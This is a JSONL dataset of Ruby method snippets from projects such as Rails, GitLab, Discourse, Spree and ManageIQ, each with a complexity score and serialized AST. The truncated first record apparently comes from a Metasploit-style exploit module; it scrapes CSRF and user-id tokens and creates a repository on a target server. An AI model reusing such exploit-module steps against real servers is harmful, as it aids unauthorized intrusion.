]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to reach \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Get \\\"csrf\\\" and \\\"uid\\\" values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf\",{\"type\":\"send\",\"children\":[null,\"extract_value\",{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"str\",\"children\":[\"_csrf\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"csrf=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uid\",{\"type\":\"send\",\"children\":[null,\"extract_value\",{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"str\",\"children\":[\"uid\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"uid=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"http_post_request\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid\"]},{\"type\":\"lvar\",\"children\":[\"uid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repo_name\"]},{\"type\":\"ivar\",\"children\":[\"@repo_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"str\",\"children\":[\"on\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repo_template\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue_labels\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitignores\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"license\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"readme\"]},{\"type\":\"str\",\"children\":[\"Default\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_init\"]},{\"type\":\"str\",\"children\":[\"on\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_branch\"]},{\"type\":\"str\",\"children\":[\"master\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"csrf\"]},{\"type\":\"lvar\",\"children\":[\"csrf\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to reach \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Create repository failure\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"8c194155-9185-4aab-9f30-22a631231870"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/property.rb","start_line":76,"raw_source":"def with_uniq_values_cache_key(product_properties_scope, &block)\n      return block.call if product_properties_scope.present?\n\n      uniq_values_cache_key = ['property-uniq-values', cache_key_with_version]\n      Rails.cache.fetch(uniq_values_cache_key) { block.call }\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_uniq_values_cache_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"product_properties_scope\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"product_properties_scope\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"uniq_values_cache_key\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"property-uniq-values\"]},{\"type\":\"send\",\"children\":[null,\"cache_key_with_version\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"uniq_values_cache_key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\"]}]}]}]}","id":"c213dfe0-debb-4d9d-9ad9-56b9a6746e70"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/multifetch_cache_test.rb","start_line":91,"raw_source":"def test_fragments_are_stored_as_bare_strings\n    cache = ActionView::PartialRenderer.collection_cache = InspectableStore.new\n    Topic.update_all(title: \"title\")\n    get :cached_true\n\n    assert_not_predicate cache.data, :empty?\n    cache.data.each_value do |entry|\n      assert_equal String, entry.value.class\n    end\n  end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fragments_are_stored_as_bare_strings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cache\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"PartialRenderer\"]},\"collection_cache=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InspectableStore\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"title\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"cached_true\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"data\"]},{\"type\":\"sym\",\"children\":[\"empty?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"data\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"value\"]},\"class\"]}]}]}]}]}","id":"72583bea-b236-4398-8804-9ed50e0781a3"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/getsatisfaction.rb","start_line":178,"raw_source":"def import_topics\n    read_topic_categories\n\n    puts \"\", \"creating topics\"\n\n    count = 0\n    topics = []\n\n    total = total_rows(\"topics\")\n\n    csv_parse(\"topics\") do |row|\n      topic = nil\n      topic_id = import_topic_id(row[:topic_id])\n\n      if skip_topic?(row)\n        @skipped_topics.add(topic_id)\n      else\n        topic = map_post(row)\n        topic[:id] = topic_id\n        topic[:title] = (\n          if row[:subject].present?\n            row[:subject].strip[0...255]\n          else\n            \"Topic title missing\"\n          end\n        )\n        topic[:category] = category_id(row)\n        topic[:archived] = row[:archived_at].present?\n\n        @topic_slug[topic[:id]] = row[:url] if CREATE_PERMALINKS\n      end\n\n      topics << topic\n      count += 1\n\n      import_topics_batch!(topics, count - topics.length, total) if count % BATCH_SIZE == 0\n    end\n\n    import_topics_batch!(topics, count - topics.length, total)\n  end","complexity_score":60.75,"ast_json":"{\"type\":\"def\",\"children\":[\"import_topics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_topic_categories\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"creating topics\"]}]},{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"total\",{\"type\":\"send\",\"children\":[null,\"total_rows\",{\"type\":\"str\",\"children\":[\"topics\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"csv_parse\",{\"type\":\"str\",\"children\":[\"topics\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"topic_id\",{\"type\":\"send\",\"children\":[null,\"import_topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_topic?\",{\"type\":\"lvar\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@skipped_topics\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[null,\"map_post\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},\"strip\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[255]}]}]},{\"type\":\"str\",\"children\":[\"Topic title missing\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[null,\"category_id\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"archived\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"archived_at\"]}]},\"present?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CREATE_PERMALINKS\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic_slug\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"%\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"import_topics_batch!\",{\"type\":\"lvar\",\"children\":[\"topics\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"length\"]}]},{\"type\":\"lvar\",\"children\":[\"total\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"import_topics_batch!\",{\"type\":\"lvar\",\"children\":[\"topics\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"length\"]}]},{\"type\":\"lvar\",\"children\":[\"total\"]}]}]}]}","id":"40b0782f-a22c-4d50-b06f-ef795ce18762"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/databases/postgresql/executor.rb","start_line":163,"raw_source":"def create_standard_index(table_name, field)\n          adapter.client.with_connection do |connection|\n            next if index_exists?(table_name, field)\n\n            connection.add_index(\n              table_name,\n              field.name,\n              name: index_name_for(table_name, field)\n            )\n          end\n        end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_standard_index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adapter\"]},\"client\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"add_index\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"index_name_for\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]}]}]}]}]}","id":"ce529ada-51f9-4f00-8635-e73d9b7b7f96"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/asset_tag_import.rb","start_line":88,"raw_source":"def apply\n    @verified_data.each do |id, data|\n      obj = @klass.find_by(:id => id)\n      if obj\n        attrs = obj.miq_custom_attributes\n        new_attrs = []\n        data[0].each do |key, value|\n          # Add custom attribute here.\n          attr = attrs.detect { |ca| ca.name == key }\n          if attr.nil?\n            if value.blank?\n              _log.info(\"#{@klass.name}: #{obj.name}, Skipping tag <#{key}> due to blank value\")\n            else\n              _log.info(\"#{@klass.name}: #{obj.name}, Adding tag <#{key}>, value <#{value}>\")\n              new_attrs << {:name => key, :value => value, :source => 'EVM'}\n            end\n          else\n            if value.blank?\n              _log.info(\"#{@klass.name}: #{obj.name}, Deleting tag <#{key}> due to blank value\")\n              attr.delete\n            else\n              _log.info(\"#{@klass.name}: #{obj.name}, Updating tag <#{key}>, value <#{value}>\")\n              attr.update_attribute(:value, value)\n            end\n          end\n        end\n        obj.custom_attributes.create(new_attrs)\n      end\n    end\n  end","complexity_score":73.7,"ast_json":"{\"type\":\"def\",\"children\":[\"apply\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@verified_data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"miq_custom_attributes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_attrs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attr\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ca\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ca\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"nil?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\", Skipping tag <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"> due to blank value\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\", Adding tag <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\">, value <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_attrs\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"str\",\"children\":[\"EVM\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\", Deleting tag <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"> due to blank value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"delete\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\", Updating tag <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\">, value <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"update_attribute\",{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"custom_attributes\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"new_attrs\"]}]}]},null]}]}]}]}","id":"9fefa3cd-2c99-4a20-9794-edf52a97fbed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/project/issues_spec.rb","start_line":149,"raw_source":"def post_query(request_user = current_user)\n        post_graphql(query, current_user: request_user)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_query\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"request_user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"post_graphql\",{\"type\":\"send\",\"children\":[null,\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"request_user\"]}]}]}]}]}","id":"1a9b8e21-aac6-4bab-ba28-c0e682ea82ff"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/text_helper_test.rb","start_line":177,"raw_source":"def test_highlight_should_be_html_safe\n    assert_predicate highlight(\"This is a beautiful morning\", \"beautiful\"), :html_safe?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_highlight_should_be_html_safe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[null,\"highlight\",{\"type\":\"str\",\"children\":[\"This is a beautiful morning\"]},{\"type\":\"str\",\"children\":[\"beautiful\"]}]},{\"type\":\"sym\",\"children\":[\"html_safe?\"]}]}]}","id":"41775709-7b82-4663-b6a0-dcb86b9082a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":434,"raw_source":"def refresh_method_caches(types)\n    return if types.empty?\n\n    to_refresh = []\n\n    types.each do |type|\n      methods = METHOD_CACHES_FOR_FILE_TYPES[type.to_sym]\n\n      to_refresh.concat(Array(methods)) if methods\n    end\n\n    expire_method_caches(to_refresh)\n\n    to_refresh.each { |method| send(method) } # rubocop:disable GitlabSecurity/PublicSend\n  end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_method_caches\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"types\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"to_refresh\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"methods\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"METHOD_CACHES_FOR_FILE_TYPES\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_refresh\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"methods\"]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"expire_method_caches\",{\"type\":\"lvar\",\"children\":[\"to_refresh\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_refresh\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}","id":"bed8f5ab-e66a-4bc5-9ba7-e3d103d93794"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/pipelines_controller.rb","start_line":164,"raw_source":"def retry\n    # Check for access before execution to allow for async execution while still returning access results\n    access_response = ::Ci::RetryPipelineService.new(@project, current_user).check_access(pipeline)\n\n    if access_response.error?\n      response = { json: { errors: [access_response.message] }, status: access_response.http_status }\n    else\n      response = { json: {}, status: :no_content }\n      ::Ci::RetryPipelineWorker.perform_async(pipeline.id, current_user.id) # rubocop:disable CodeReuse/Worker\n    end\n\n    respond_to do |format|\n      format.json do\n        render response\n      end\n    end\n  end","complexity_score":24.9,"ast_json":"{\"type\":\"def\",\"children\":[\"retry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"access_response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"RetryPipelineService\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"check_access\",{\"type\":\"send\",\"children\":[null,\"pipeline\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_response\"]},\"error?\"]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\